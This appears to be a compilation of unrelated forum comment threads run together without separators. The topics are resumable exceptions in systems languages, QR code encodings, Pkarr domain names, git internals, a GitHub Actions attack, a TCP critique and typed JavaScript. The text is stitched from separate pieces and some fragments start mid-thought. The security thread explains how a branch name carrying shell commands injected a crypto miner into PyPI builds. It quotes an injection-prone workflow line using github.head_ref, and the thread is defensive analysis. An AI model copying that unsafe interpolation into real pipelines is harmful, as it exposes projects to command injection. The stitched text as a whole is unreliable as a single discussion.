I find it slightly odd that an “epic treatise on error models” would fail to mention Common Lisp and Smaltalk, whose error models provide a facility that all others lack: resuming from an error.
Hi, author here, the title also does say “for systems programming languages” :)
For continuations to work in a systems programming language, you can probably only allow one-shot delimited continuations. It’s unclear to me as to how one-shot continuations can be integrated into a systems language where you want to ensure careful control over lifetimes. Perhaps you (or someone else here) knows of some research integrating ownership/borrowing with continuations/algebraic effects that I’m unfamiliar with?
The closest exception to this that I know of is Haskell, which has support for both linear types and a primitive for continuations. However, I haven’t seen anyone integrate the two, and I’ve definitely seen some soundness-related issues in various effect systems libraries in Haskell (which doesn’t inspire confidence), but it’s also possible I missed some developments there as I haven’t written much Haskell in a while.
I’m sorry for the slightly snarky tone of my original reply, but even if you were to discount the Lisp machines, or all the stuff Xerox and others did with Smalltalk (including today’s Croquet), as somehow not being systems, I would have expected an epic treatise to at least mention that error resumption exists – especially since academia is now rediscovering this topic as effect handlers (typically without any mention of the prior art).
For continuations to work in a systems programming language, you can probably only allow one-shot delimited continuations.
This misconception is so common (and dear to my heart) that I have to use bold:
Resumable exceptions do not require first-class continuations, whether delimited or undelimited, whether one-shot or multi-shot. None at all. Nada. Zilch.
Suppose write() discovers that the disk is full (e.g. from an underlying primitive). This causes it to call signal_disk_is_full(). Note that the call to signal_disk_is_full() happens inside the stack of write() (obviously).
Now signal_disk_is_full() looks for a handler and calls it: disk_is_full_handler(). Again, the call to the handler happens inside the stack of signal_disk_is_full() (and write()). The handler can return normally to write() once it has cleaned up space.
write() is never popped off the stack. It always stays on the stack. IOW, there is never a need to capture a continuation, and never a need to reinstate one. The disk_is_full_handler() runs inside the stack of the original call to write().
effect systems
A side note: most effect systems do use and even require first-class continuations, but IMO that’s completely overkill and only needed for rarely used effects like nondeterminism. For simple effects, like resumable exceptions, no continuations are needed whatsoever.
but even if you were to discount the Lisp machines, or all the stuff Xerox and others did with Smalltalk (including today’s Croquet), as somehow not being systems
I provided the working definition of “systems programming language” that I used in the blog post. It’s a narrow one for sure, but I have to put a limit somewhere. My point is not trying to exclude the work done by smart people; but I need a stopping point somewhere after 100~120 hours of research and writing.
Resumable exceptions do not require first-class continuations, whether delimited or undelimited, whether one-shot or multi-shot. None at all. Nada. Zilch.
Thank you for writing down a detailed explanation with a concrete example. I will update the post with some of the details you shared tomorrow.
You will notice that my comment does not use the phrase “first-class” anywhere; that was deliberate, but perhaps I should’ve been more explicit about it. 😅
As I see it, the notion of a continuation is that of a control operator, which allows one to “continue” a computation from a particular point. So in that sense, it’s a bit difficult for me to understand where exactly you disagree, perhaps you’re working with a different definition of “continuation”? Or perhaps the difference of opinion is because of the focus on first-class continuations specifically?
At the time of the Common Lisp design, Scheme did not have an error system, and so its contribution to the dialog on condition systems was not that of contributing an operator or behavior. However, it still did have something to contribute: the useful term continuation […] This metaphor was of tremendous value to me socially in my efforts to gain acceptance of the condition system, because it allowed a convenient, terse explanation of what “restarts” were about in Common Lisp. [..] And so I have often found myself thankful for the availability of a concept so that I could talk about the establishment of named restart points as “taking a continuation, labeling it with a tag, and storing it away on a shelf somewhere for possible later use.”
So it might be the case that the mismatch here is largely due to language usage, or perhaps my understanding of continuations is lacking.
I’m also a little bit confused as to why your current comment (and the linked blog post) focus on unwinding/stack representation. For implementing continuations, there are multiple possible implementation strategies, sure, and depending on the exact restrictions involved, one can potentially use more efficient strategies. If a continuation is second-class in the sense that it must either be immediately invoked (or discarded), it makes sense that the existing call stack can be reused.
Regardless of the specifics of whether we can call Common Lisp style conditions and resumption a form of continuations or not, I believe the concern about non-local control flow interacting with type systems and notions of ownership/regions/lifetimes still applies.
As I see it, the notion of a continuation is that of a control operator, which allows one to “continue” a computation from a particular point. … Or perhaps the difference of opinion is because of the focus on first-class continuations specifically?
Typically, there are two notions of continuations:
Continuations as an explanatory or semantic concept. E.g. consider the expression f(x + y). To evaluate this, we first need to compute x + y. At this point our continuation is f(_), where _ is the place into which we will plug the result of x + y. This is the notion of a continuation as “what happens next” or “the rest of the program”.
Continuations as an actually reified value/object in a programming language, i.e. first-class continuations. You can get such a first-class continuation e.g. from Scheme’s call/cc or from delimited control operators. This typically involves copying or otherwise remembering some part of the stack on the part of the language implementation.
Resumable exceptions have no need for first-class continuations (2). Continuations as an explanatory concept (1) of course still apply, but only because they apply to every expression in a program.
I believe the concern about non-local control flow interacting with type systems and notions of ownership/regions/lifetimes still applies.
The example I used has no non-local control flow at all. write() calls signal_disk_is_full() and that calls the disk_is_full_handler(), and that finally returns normally to write(). This is my point: resumption does not require any non-local control flow.
As well as what @manuel wrote, it’s worth noting that basically every language has second-class continuations: a return statement skips to the current function’s continuation.
Your comment talked about one-shot delimited continuations, which are a kind of first-class continuation in that (per Strachey’s definition of first vs second class) they can be assigned to variables and passed around like other values.
it’s worth noting that basically every language has second-class continuations: a return statement skips to the current function’s continuation.
In most languages, a return statement cannot be passed as an argument to a function call. So is it still reasonable to call it as “support for a second-class continuation”?
Your comment talked about one-shot delimited continuations, which are a kind of first-class continuation in that (per Strachey’s definition of first vs second class) they can be assigned to variables and passed around like other values.
I understand your and @manuel’s points that the common usage may very well be that “one-shot delimited continuation” implies “first-class” (TIL, thank you).
We can make this same point about functions where generally functions are assumed to be first class. However, it’s not unheard of to have second-class functions (e.g. Osvald et al.’s Gentrification gone too far? and Brachthäuser et al.’s Effects, Capabilities, and Boxes describe such systems). I was speaking in this more general sense.
As I see it, the “one-shot delimited” aspect is disconnected from the “second class” aspect.
In most languages, a return statement cannot be passed as an argument to a function call. So is it still reasonable to call it as “support for a second-class continuation”?
That you can’t pass it as an argument is exactly why it’s called second-class. Only a first-class continuation is reified into a value in the language, and therefore usable as an argument.
As I see it, the “one-shot delimited” aspect is disconnected from the “second class” aspect.
One-shot strongly implies a first-class continuation. Second-class continuations are always one-shot, since, again, you can’t refer to them as values, so how would you invoke one multiple times?
One-shot strongly implies a first-class continuation. Second-class continuations are always one-shot, since, again, you can’t refer to them as values, so how would you invoke one multiple times?
Here is the wording from Strachey’s paper, as linked by @fanf
they always have to appear in person and can never be represented by a variable or expression (except in the case of a formal parameter) [emphasis added]
Isn’t this “except in the case of a formal parameter” exactly what is used by Osvald et al. and Brachthäuser et al. in their papers? Here is the bit from Osvald et al.’s paper:
Our solution is a type system extension that lets us define
file as a second-class value, and that ensures that such
second-class values will not escape their defining scope. We
introduce an annotation @local to mark second-class values,
and change the signature of withFile as follows:
def withFile[U](n: String)(@local fn: (@local File) => U): U
[..] Note that the callback function fn itself is also required
to be second-class, so that it can close over other
second-class values. This enables, for example, nesting calls
to withFile
In the body of withFile, fn is guaranteed to have several restrictions (it cannot be escaped, it cannot be assigned to a mutable variable etc.). But the type system (as in the paper) cannot prevent the implementation of withFile from invoking fn multiple times. That would require an additional restriction – that fn can only be invoked 0-1 times in the body of withFile.
In ALGOL a real number may appear in an expression or be assigned to a variable, and either may appear as an actual parameter in a procedure call. A procedure, on the other hand, may only appear in another procedure call either as the operator (the most common case) or as one of the actual parameters. There are no other expressions involving procedures or whose results are procedures. Thus in a sense procedures in ALGOL are second class citizens—they always have to appear in person and can never be represented by a variable or expression (except in the case of a formal parameter), while we can write (in ALGOL still)
(if x > 1 then a else b) + 6
when a and b are reals, we cannot correctly write
(if x > 1 then sin else cos)(x)
nor can we write a type procedure (ALGOL’s nearest approach to a function) with a result which is itself a procedure.
Regardless of the specifics of whether we can call Common Lisp style conditions and resumption a form of continuations or not, I believe the concern about non-local control flow interacting with type systems and notions of ownership/regions/lifetimes still applies.
That’s a concern, sure, but most “systems” languages have non-local control flow, right? C++ has exceptions, and Rust panics can be caught and handled. It would be very easy to implement a Common Lisp-like condition system with nothing more than thread local storage, function pointers (or closures) and catch/throw.
(And I’m pretty sure you can model exceptions / anything else that unwinds the stack as essentially being a special form of “return”, and handle types, ownership, and lifetimes just the same as you do with the ? operator in Rust)
My point is not about ease of implementation, it’s about usability when considering type safety and memory safety. It’s not sufficient to integrate a type system with other features – the resulting thing needs to be usable…
I’ve added a section at the end, Appendix A8 describing the concrete concerns.
Early Rust did have conditions and resumptions (as Steve pointed out elsewhere in the thread), but they were removed because of usability issues.
If you dig into the code a bit, you discover that SEH on Windows has full support for Lisp-style restartable and resumable exceptions in the lower level, they just aren’t exposed in the C/C++ layer. The same component is used in the NT kernel and so there’s an existence proof that you can support both of these models in systems languages, I just don’t know of anyone who does.
The SEH model is designed to work in systems contexts. Unlike the Itanium model (used everywhere except Windows) it doesn’t require heap allocation. The throwing frame allocates the exception and metadata and then invokes the unwinder. The unwinder then walks the stack and invokes ‘funclets’ for each frame being unwound. A funclet is a function that runs on the top of the stack but with access to another frame’s stack pointer and so can handle all cleanup for that frame without actually doing the unwind. As with the Itanium model, this is a two-stage process, with the first determining what needs to happen on the unwind and the second running cleanup and catch logic.
This model is very flexible because (as with the Lisp and Smalltalk exception models) the stack isn’t destroyed until after the first phase. This means that you can build any kind of policy on top quite easily.
Oh yes, that reminds me, Microsoft’s Annex K broken C library extensions have a runtime constraint handler that is vaguely like a half-arsed Lisp condition.
A two-phase exception-handling model is not strictly necessary to implement C++ language semantics, but it does provide some benefits. For example, the first phase allows an exception-handling mechanism to dismiss an exception before stack unwinding begins, which allows resumptive exception handling (correcting the exceptional condition and resuming execution at the point where it was raised). While C++ does not support resumptive exception handling, other languages do, and the two-phase model allows C++ to coexist with those languages on the stack.
Are you referring to some closed-source code here, or is the implementation source-available/open-source somewhere? I briefly looked that the microsoft/STL repo, and the exception handling machinery seems to be linked to vcruntime which is closed-source AFAICT.
The SEH model is designed to work in systems contexts [..]
Thanks for the context, I haven’t seen a simple explanation of SEH works elsewhere, so this is good to know. I have one follow-up question:
it doesn’t require heap allocation. The throwing frame allocates the exception and metadata
So the exception and metadata is statically sized (and hence space for it is already reserved on the throwing frame’s stack frame)? Or can it be dynamically sized (and hence there is a risk of triggering stack overflow when throwing)?
The same component is used in the NT kernel and so there’s an existence proof that you can support both of these models in systems languages, I just don’t know of anyone who does.
As Steve pointed out elsewhere in the thread, Rust pre-1.0 did support conditions and resumptions, but they removed it.
Are you referring to some closed-source code here, or is the implementation source-available/open-source somewhere?
I thought I read it in a public repo, but possibly it was a MS internal one.
So the exception and metadata is statically sized (and hence space for it is already reserved on the throwing frame’s stack frame)? Or can it be dynamically sized (and hence there is a risk of triggering stack overflow when throwing)?
The throwing context allocates the exception on the stack. The funclet can then use it in place. If it needs to persist beyond the catch scope, the funclet can copy it elsewhere.
This can lead to stack overflow (which is fun because stack overflow is, itself, handled as an SEH exception.
I’ve only dabbled slightly with both - how is resuming from an error different from catching it? Is it that execution restarts right after the line that threw the error?
A program wants to write() something to a file, but – oops – the disk is full.
In ordinary languages, this means write() will simply fail, signal an error (via error code or exception or …), and unwind its stack.
In languages with resumable or restartable errors, something entirely different happens: write() doesn’t fail, it simply pauses and notifies its calling environment (i.e. outer, enclosing layers of the stack) that it has encountered a DiskIsFull situation.
In the environment, there may be programmed handlers that know how to deal with such a DiskIsFull situation. For example, a handler may try to empty the /tmp directory if this happens.
Or there may be no such handler, in which case an interactive debugger is invoked and presented to the human user. The user may know how to make space such as deleting some no longer needed files.
Once a handler or the user has addressed the DiskIsFull situation, it can tell write() to try writing again. Remember, write() hasn’t failed, it is still paused on the stack.
Well, now that space is available, write() succeeds, and the rest of the program continues as if nothing had happened.
Only if there is no handler that knows how to deal with DiskIsFull situations, or if the user is not available to handle the situation interactively, would write() fail conclusively.
Is it that execution restarts right after the line that threw the error?
Yes. Common Lisp and Smalltalk use condition systems, where the handler gets executed before unwinding.
So unwinding is just one possible option (one possible restart), other common ones are to start a debugger, to just resume, to resume with a value (useful to provide e.g. default values, or replacement for invalid values), etc… the signalling site can provide any number of restart for the condition they signal.
It’s pretty cool in that it’s a lot more flexible, although because it’s adjacent to dynamic scoping it can make the program’s control flow much harder to grasp if you start using complex restarts or abusing conditions.
Exactly. For example “call with current continuation” or call-cc allows you to optionally continue progress immediately after the throw. It’s a generalization of the callback/continuation style used in async-await systems.
Even if you want to do stack unwinding, you don’t need continuations. Catch and throw are adequate operations to implement restarts that unwind the stack to some point first.
chicken-egg problem now. Who would want to use a QR code encoding that won’t work with the majority of QR code readers for only a very small gain, and how many reader implementations are actively maintained and will add support for something nobody uses yet?
The “byte” encoding works well for that. Don’t forget, URls can contain the full range of Unicode, so a restricted set is never going to please everyone. Given that QR codes can contain ~4k symbols, I’m not sure there’s much need for an entirely new encoding.
Yes, although… there’s some benefit to making QR codes smaller even when nowhere near the limits. Smaller ones scan faster and more reliably. I find it difficult to get a 1kB QR code to scan at all with a phone.
QR codes also let you configure the amount of error correction. For small amounts of data, you often turn up the error correction which makes them possible to scan with a very poor image, so they can often scan while the camera is still trying to focus.
URIs can contain the full Unicode range, but the average URL does not. Given that’s become a major use case for qrcodes it’s definitely a shame it does not have a better mode for them: binary mode needs a byte per byte while alnum only needs 5.5 bits per byte.
All non-ascii characters in URLs can be %-encoded so unicode isn’t a problem. A 6-bit code has room for lower case, digits, and all the URL punctuation, plus room to spare for space and an upper-case shift and a few more.
So ideally a QR encoder should ask the user whether the text is a URL, and should check which encoding is the smallest (alnum with %-encoding, or binary mode). Of course this assumes that any paths in the URL are also case-insensitive (which depends on the server).
Btw. can all HTTP servers correctly handle requests with uppercase domain names? I’m thinking about SNI, maybe certificate entries…? Or do browsers already “normalize” the domain name part of a URL into lowercase?
The spec says host names are case-insensitive. In practice I believe all (?) browsers normalize to lowercase so I’m not sure if all servers would handle it correctly but a lot certainly do. I just checked and curl does not normalize, so it would be easy to test a particular server that way.
Host name yes, but not path. So if you are making a URL that includes a path the path should be upper case (or case insensitive but encoded as upper case for the QR code).
No, a URI consists of ASCII characters only. A particular URI scheme may define how non-ASCII characters are encoded as ASCII, e.g. via percent-encoding their UTF-8 bytes.
Byte encoding is fun in practice, as I recently discovered, because Android’s default QR code API returns the result as a Java String. But aren’t Java Strings UTF-16? Why yes, and so the byte data is interpreted as UTF-8, then converted to UTF-16, and then provided as a string.
The work around, apparently, if you want raw byte data, is to use an undocumented setting to tell the API that the data is in an 8-bit code page that can be safely round tripped through Unicode, and then extract the data from the string by exporting it in that encoding.
I read somewhere that the EU’s COVID passes used text mode with base45 encoding because of this tendency for byte mode QR codes to be interpreted as UTF-8.
What if there’s a host called o4dksfbqk85ogzdb5osziw6befigbuxmuxkuxq8434q89uj56uyy on my network? Unlikely of course, but wouldn’t it better if those domains were under some special TLD, like o4dksfbqk85ogzdb5osziw6befigbuxmuxkuxq8434q89uj56uyy.pkarr to avoid namespace pollution?
Unfortunately, there is no way to do key revocation reliably without introducing centralization (ICANN) or rent (ENS), for fundamental reasons.
But if you introduced centralization or rent, you might as well get human readable names, but we already have these with ICANN and ENS, and frankly ICANN is better.
So, the philosophy of Pkarr and the only way it can be valuable, is if we work hard to make losing keys a very rare occasion, and when that happen once or twice in lifetime, one has to bootstrap again, like they do when they lose their old phone numbers.
I repeat, if that is not acceptable, then you are left with ICANN with extra steps, and might as well just use ICANN.
Wether or not the UX work for keeping keys safe is viable, is a question that can only be solved by trying.
One is «I no longer have any copy of the key». The other is «people I don’t want to also have a copy of the key».
For the second case, assuming you can distribute any updates at all, you could distribute a special value «compromised» that can not be updated to any other value. And yes, this means you still need to start with a fresh identity and bootstrap, but the old one cannot be abused for too long.
I understand the intent of your question in two ways. One about purposely causing a name collision when in possession of the private key, and the second about collisions themselves.
For the first way, I would assume the design must force different keys for designing internal and external networks. This is an excellent question and although I didn’t read all the documentation, I would suspect this concern deserves special attention.
That’s base32 with a length of 52, so 256 bits. (Ed25519 public keys are 256 bits) Two things about 2^256:
2^256 is about the number of atoms in the universe (~10^76). Having a collision is like finding the same atom twice after shuffling the universe.
At the Landauer limit, and assuming you’re just flipping bits, and using E=mc^2, it takes about 300,000 solar systems of energy to count to 2^256, making collisions and other computations infeasible in a physical sense. (This is just napkin math, I’m sure the actual useful value is much higher.)
There shouldn’t be a collision at 256 bits. It’s not just unlikely, but it’s essentially impossible in a very physical sense unless something very is broken with the cryptosystem.
What is very possible is for me to learn you are advertising a pkarr address o4dksfbqk85ogzdb5osziw6befigbuxmuxkuxq8434q89uj56uyy in some public place, then to add o4dksfbqk85ogzdb5osziw6befigbuxmuxkuxq8434q89uj56uyy.localdomain to the local resolver where DHCP returns local search option .localdomain, let’s say just for fun. Not attacking the cryptography, not blind guessing, abusing access to the local infrastructure in a formally allowed way. What will software do?
The problem with namespacing what is supposed to be sovereign keys under something like .pkarr is that you you are putting yourself under the mercy of ICANN, hoping they never claim that .pkarr, meanwhile if you use keys as TLDs, they can’t target all keys at once.
More importantly: Pkarr itself really doesn’t stop you from using <key>.pkarr go for it, it is just not encouraged. What is encouraged is to use the DHT directly and not depend on DNS servers, including doing so inside browsers (eventually).
So even if being a TLD is a deal breaker, software that insists on using DNS servers that understand .pkarr can do so, they however need to trust these servers because servers won’t respond with signatures as the actual library (and HTTP relays) would
The problem with namespacing what is supposed to be sovereign keys under something like .pkarr is that you you are putting yourself under the mercy of ICANN, hoping they never claim that .pkarr
There are a bunch of gnarly little issues with single-label names, to do with the resolver search path, multiple name service protocols, assumptions about syntax, assumptions about local vs global scope, … They mostly come up as edge cases but they are really annoying to deal with. They depend greatly on the protocol and application, so if a single-label name works in some contexts, that’s no guarantee it will work in others. If you want to be as compatible as possible with software that assumes domain names, then I would recommend avoiding single-label names.
The idea of .alt is to add some kind of name service protocol name under .alt, e.g., pkarr.alt, then the name service switch doesn’t have to guess what protocol to use to resolve a name, and users can unambiguously specify how names are resolved. It’s a generalization of the .onion special-use domain name that allows other alternative name services to occupy part of the namespace without having to rent a domain name, and without getting into an argument with ICANN.
conceptually [commits] are snapshots, but concretely they are stored as deltas
This is not exactly true. If you create a new commit with git commit, then the commit object, the tree it points to, and any (new) objects pointed to from the tree are stored as complete, loose objects in the file system, under .git/objects in the repository. So a commit is a snapshot, concretely.
If you later run git gc, or if you push the new objects to a remote, then those loose objects will be put into a packfile, and inside the packfile they might be stored as deltas against other objects, as an optimization.
I don’t think any merging algorithm can ever be correct in the general case. I add a “as we have mentioned earlier …” to the last paragraph and you remove or change that mention, now the whole text has lost its coherence.
In software development, we deploy so many measures to fight against issues like this, like writing test suites, type systems, code review etc.
So I don’t think any algorithmic change to a body of text could ever be “correct” in the general case.
For those who are curious but don’t want to pick through the github issue threads:
A malicious PR making a very innocent looking change to the README used a branch name with shell commands in it, formatted in a way that would cause CI jobs to execute those commands when performing a build for upload to PyPi. Those commands downloaded a crypto miner and embedded it into the release package.
So the automated builds that were getting uploaded to PyPi had the miner, but the source in github did not and any build you produced manually by cloning the repository and running a build on your local machine would not have it either.
It’s an interesting attack. Hopefully we’ll see a more detailed description of why a branch name from a PR was getting consumed by GitHub CI in a way that could inject commands.
I don’t think “never trusting user input” is the right lesson to learn here. Why? Because I don’t think the whoever wrote that code was aware they were trusting the branch name, or what properties of the branch name exactly they were trusting. So the lesson is not really actionable.
I think the lesson is that these kinds of string-replacement based systems (YAML templates, shell variable expansion etc.) just naturally invite these issues. They are inherently unsafe and we should be teaching people to use safer alternatives instead of teaching them to be vigilant 100% of the time.
For e.g. SQL queries it seems the industry has learned the lesson and you’ll rightfully get ridiculed for building your queries via naive string interpolation instead of using a query builder, stored procedures or something of the sort. Now we need to realize that CI workflows, helm charts and everything else using string-level YAML templating is the same deal.
The FP people have a mantra “parse, don’t validate” for consuming text. I think we need another one for producing text that’s just as snappy. Maybe “serialize, don’t sanitize”?
I’m wishing for a CI/automation tool that would provide functionality like “check out a git branch” as functions in a high-level language, not as shell commands embedded in a data file, so that user input is never sent to a shell directly at all. Maybe I should make one…
Before all the hip yaml based CI systems, like github actions, pretty much everyone was using Jenkins.
The sorta modern way to use Jenkins these days is to write Groovy script, which has stuff like checkout scm, and various other commands. Most of these are from Java plugins, and so the command never ends up going anywhere near a shell, though you do see a lot of use of the shell command function in practice (i.e. sh "make").
Kinda a shame that Jenkins is so wildly unpopular, and these weird yaml-based systems are what’s in vogue. Jenkins isn’t as bad as people make it out to be in my opinion.
Please do build something though because Jenkins isn’t exactly good either, and I doubt anyone would pick Groovy as a language for anything today.
I’ve used Jenkins quite a bit, that’s one of the inspiration source for that idea indeed. But Groovy is a rather cursed language, especially by modern standards… it’s certainly one of my least favorite parts of Jenkins.
My idea for a shell-less automation tool is closer to Ansible than to Jenkins but it’s just a vague idea so far. I need to summarize it and share it for a discussion sometime.
I doubt anyone would pick Groovy as a language for anything today.
I use Groovy at $DAILYJOB, and am currently learning Ruby (which has a lot more job listings as Elixir). The appeal of both languages are the same: it is incredibly easy to design DSLs with it (basically what Jenkins and Gradle use). Which is precisely what I work with at $DAILYJOB. The fact it’s JVM-based is the icing on the cake, because it’s easy to deploy in the clients’ environments.
This looks really interesting, thanks for the pointer! Maybe it’s already good for things I want to do and I don’t need to make anything at all, or may contribute something to it.
The generation of devs that grew up on Jenkins (including myself) got used to seeing CI as “just” a bunch of shell scripts. But it’s tedious as hell, and you end up programming shell via yaml, which makes me sympathetic to vulns like these.
Yeah in dealing with github’s yaml hell I’ve been wishing for something closer to a typed programming language with a proper library e.g. some sort of simplified-haskell DSL à la Elm, Nix, or Dhall.
They all do?
They all provide ways to build specific branches defined in yaml files or even via UIs rather than letting that work for your shell scripts.
Personally I find all those yaml meta-languages all inferior than just writing a shell script. And for one and a half decades I’ve been looking for an answer to the question:
What’s the value of a CI server other than running a command on commit?
But back to your point. Why? What you need to do is sanitize user input. That is completely independent of being shell script versus another language. Shellscripts are actually higher level than general purpose programming languages.
I’m certainly not saying that one doesn’t need to sanitize user input.
But I want the underlying system to provide a baseline level of safety. Like in Python, unless I’m calling eval() it doesn’t matter that some input may contain the character sequence os.system(...; and if I’m not calling os.system() and friends, it doesn’t matter if a string may have rm -rf in it. When absolutely any data may end up being executed as code at any time, the system has a problem, as of me.
Buildbot also belongs on the list of “systems old enough to predate YAML-everywhere”. It certainly has its weaknesses today, but its config is Python-based.
In GitHub Actions specifically, there’s also a very straightforward fix: instead of interpolating a string in the shell script itself, set any values you want to use as env vars and use those instead. e.g.:
I don’t think string replacement systems are bad per se. Sure, suboptimal in virtually all senses. But I think the biggest issue is a lack of good defaults and a requirement to explicitly indicate that you want the engine to do something unsafe. Consider the following in GH Actions:
echo "Bad: ${{ github.head_ref }}"
echo "Good: $GITHUB_HEAD_REF" # or so @kylewlacy says
I do not see any major difference immediately. Compare to Pug (nee Jade):
Using an unescaped string directly is clear to the reader and is not possible without an opt-in. At the same time, the opt-in is a matter of a single-char change, so one cannot decry the measure as too onerous. The mantra should be to make unescaped string usage explicit (and discouraged by default).
But to escape a string correctly, you need to know what kind of context you’re interpolating it into. E.g. if you’re generating a YAML file with string values that are lines of shell script, you might need both shell and YAML escaping in that context, layered correctly. Which is already starting to look less like string interpolation and more like serialization.
A few years Over a decade ago (jesus, time flies!) I came up with an ordered list of approaches in descending order of safety. My main mantra was “structural safety” - instead of ad-hoc escaping, try to fix the problem in a way that completely erases injection-type security issues in a structural way.
Yeah. The problem is that the echo command interpretes things like ${{...}} and executes it. Or is it the shell that does it in any string? I’m not even sure and that is problem. No high level language does that. Javascript uses eval, which is already bad enough, but at least you can’t use it inside a string. You can probanly do hello ${eval(...)} but then it is clear that you are evaluating the code inside.
It’s the shell that evaluates $... syntax. $(cmd) executes cmd, ${VAR} reads shell variables VAR and in both cases the shell replaces the $... with the output before calling the echo program with the result. Echo is just a dumb program that spits out the arguments its given.
Edit: but the ${{ syntax is GitHub Actions’ own syntax, the shell doesn’t see that as GH Actions evaluates it before running the shell command.
The pull_request_target event that was used here is privilege escalation similar to sudo – it gives you access to secrets etc.
Like all privilege escalation code, this should be very carefully written, fuzzed, and audited. Certainly a shell script is exactly wrong – sh was never designed to handle untrusted input in sensitive scenarios. Really it’s on GitHub Actions for making shell script-based privilege escalation code the easy path.
At the very least you want to use a language like Rust, leveraging the type system to carefully encapsulate untrusted code, along with property-based testing/fuzzing for untrusted inputs. This is an inherently serious, complex problem, and folks writing code to solve it should have to grapple with the complexity.
I don’t know if it was a bot or not (but that is probably irrelevant). The problem in the PR lies in the branch name which executed arbitrary code during GitHub Actions. Sorry if I misunderstood your question.
Hm, the dots don’t connect for me yet. I can just make a PR with changes to build process, and CI would test it, but that should be fine, because PRs run without access to secrets, right?
It’s only when the PR is merged and CI is run on the main branch that secrets are available, right?
So would it be correct to say that the PR was merged into main, and, when running CI on the main branch, something echoed the branch name of recently-merged PR?
Why would you ever want to expose your secrets to a pull request on an open source project? Once you do that, they’re not actually secrets, they’re just … weakly-obscured configuration settings. This is far from the first time this github “feature” has been used to attack a project. Why do people keep turning it on? Why hasn’t github removed it?
If I understand it correctly, I can maybe see it used in a non-public context, like for a companies internal CI.
But for open source and public repos it makes no sense. Even if it’s not an attack like in this case, a simple “echo …” makes the secrets no longer secret.
Note that the version of the workflow that’s used is the one in the target branch, not the one in the proposed branch.
There are legitimate use cases for this kind of privilege escalation, but GHA’s semiotics for it are all wrong. It should feel like a Serious, Weighty piece of code that should be carefully validated and audited. Shell scripts should be banned, not the default.
Thanks for the explanation, I was literally about to post a question to see if I understood it correctly. I am absolutely paranoid about the Actions running on my Github repos, it would seem to be that a closed PR should not be involved in any workflow. While the branch name was malicious, is there also a best practice to pull out here for maintainers?
While the branch name was malicious, is there also a best practice to pull out here for maintainers?
Don’t ever use pull_request_target trigger, and, if you do, definitely don’t give that CI job creds to publish your stuff.
The root cause here is not shell injection. The root cause is that untrusted input gets into CI run with creds at all. Of course, GitHub actions doesn’t do that by default, and you have to explicitly opt-into this with pull_request_target. See the linked SO answer in a sibling commnet, it explains the issue quite nicely.
Ah, comment by Foxboron clarifies that what happened here is not the job directly publishing malicious code, but rather poisoning the build cache to make the main branch CI pull bad data in! Clever! So, just don’t give any permissions for pull_request_trigger jobs!
My public repos don’t run CI jobs for PRs automatically, it has to be manually approved. I think this is the default. Not sure what happened in this case though.
It is totally fine to run CI on PR. CI for PRs does not get to use repository secrets, unless you go out of your way to also include secrets.
If you think your security depends on PRs not triggering CI then it’s is likely that either:
you don’t understand why you project is actually secure
your project is actually insecure
GitHub “don’t run CI for first time contributors” has nothing to do with security and has everything to do with using maintainer’s human judgement to protect free GitHub runners free compute from being used for mining crypto.
That is, this is a feature to protect GitHub/Microsoft, not your project.
Should be easily solvable by billing those minutes to the PR creator.
I guess there is also the situation where you provide your own runner rather than buying it from Github. In that case it seems like a reasonable precaution to restrict unknown people from using it.
Should be easily solvable by billing those minutes to the PR creator.
Yes! I sympathize GitHub for having to implement something here on a short notice when this happened the first time, but I am dismayed that they didn’t get to implementing a proper solution here: https://matklad.github.io/2022/10/24/actions-permissions.html
I guess there is also the situation where you provide your own runners
Yes, the security with self-hosted runners is different. If you use non-sandboxed self-hosted runners, they should never be used for PRs.
Thank you, that’s a great summary, and a very interesting attack vector.
It’s strange (to me) that a release would be created off of an arbitrary user created branch, but I’m sure there’s a reason for it. In years and years of working with build automation I’ve never thought about that kind of code injection attack, so it’s something I’ll start keeping in mind when doing that kind of work.
What I find so frustrating about this paper is the fact it doesn’t engage with the long history of replacing TCP in the datacenter, the set of already-deployed solutions, and what we’ve learned from them. Part of that is that the solutions are mostly proprietary (but not secret, e.g. https://ieeexplore.ieee.org/document/9167399), but I can’t explain all of it.
Then it says things like:
Every aspect of TCP’s design is wrong: there is no part worth keeping.
Every aspect? Except the aspects of the design you’ve chosen to keep in your proposed solution?
I feel like if a student presented this at a conference it would get very poorly received, but this is getting a lot of airtime because a famous name is attached to it.
Don’t we already have languages like this, strongly typed but transpires into JS. Elm and such? Why do we need another one?
Also, any language in a JSVM needs to interoperate with existing JS APIs or it’s not much use. That means you either have to write glue code for all those APIs, which is a ton of work because there are zillions of them, or you need a type system that can express the way those APIs work, which is what TypeScript does.
Unlike those languages, and like TS, it would not be a completely new language, it would be “JS with types”. It would reuse existing JS syntax. Some programs could be ported to it simply by adding type declarations.
Furthermore, via RTTI, it would allow safely casting back Qwax objects that have been passed to unsafe JS code. I don’t think Elm or ReScript support that.
I think part of the problem with a simple “JS with types” is that JS already has types, they’re just implicit and dynamic. But because they’re implicit and dynamic, they are way more complicated than any static type system can properly define.
A good (and simple) example is string literals. Consider the following Javascript code:
document.getElementById("hello").scrollIntoView({
block: "end",
inline: "start",
behavior: "oh no, this isn't a valid string argument for behavior"
});
Is this code correctly typed or not? If we say that behavior’s value is a string, then yes, it is correctly typed. But if we look at the documentation for the function, then we can see that the only allowed values for the behavior string are “smooth”, “instant”, and “auto”. Which means that this code is very clearly invalid.
Now one could argue that the type system is always going to be a limited reflection of runtime values. If we just enforce that the values are strings, we at least prevent cases where the user typed 5 instead of "smooth". But the problem is that existing JS APIs are full of these dynamic aspects that rely on JS being a dynamic language where the human developer essentially acts as the type checker, ensuring that the code is correct. Which means that either Qwax users don’t get any support when using these dynamic types, because the type system isn’t complicated enough to handle it; or you build wrappers around most APIs to support using them in a type-safe manner (e.g. enums or enum-like constructs to ensure that scrollIntoView gets the correct arguments).
With languages like Elm or ReScript, because the language is actively trying not to be Javascript, the language designers can solve this problem in other ways. For example, in Elm, you have little-to-no access to the native JS functions. Everything is wrapped, which means the Elm designers can redesign all the functions to use the features of the Elm type system, and avoid errors that way. Meanwhile, ReScript actually adopts a strategy more like Typescript’s of modelling JS patterns via the ReScript language. For example, ReScript enums/variants compile down to just strings (or just object literals, depending on context). This makes JS interop very easy, but still means you don’t need a concept like string literals in your type system.
There’s similar issues with object literals (arguably the most common way of creating objects in Javascript) which are theoretically completely untyped, but in the dynamic programmer’s compiler brain always have some sort of type. If you’re going to expect your users to mostly write classes and pass around instances of those classes, then in many ways, they’re not really writing Javascript any more.
I should have been clearer, I meant “a subset of JS with types”. That subset will have the same syntax as JS, but you won’t be able to everything you can do with JS.
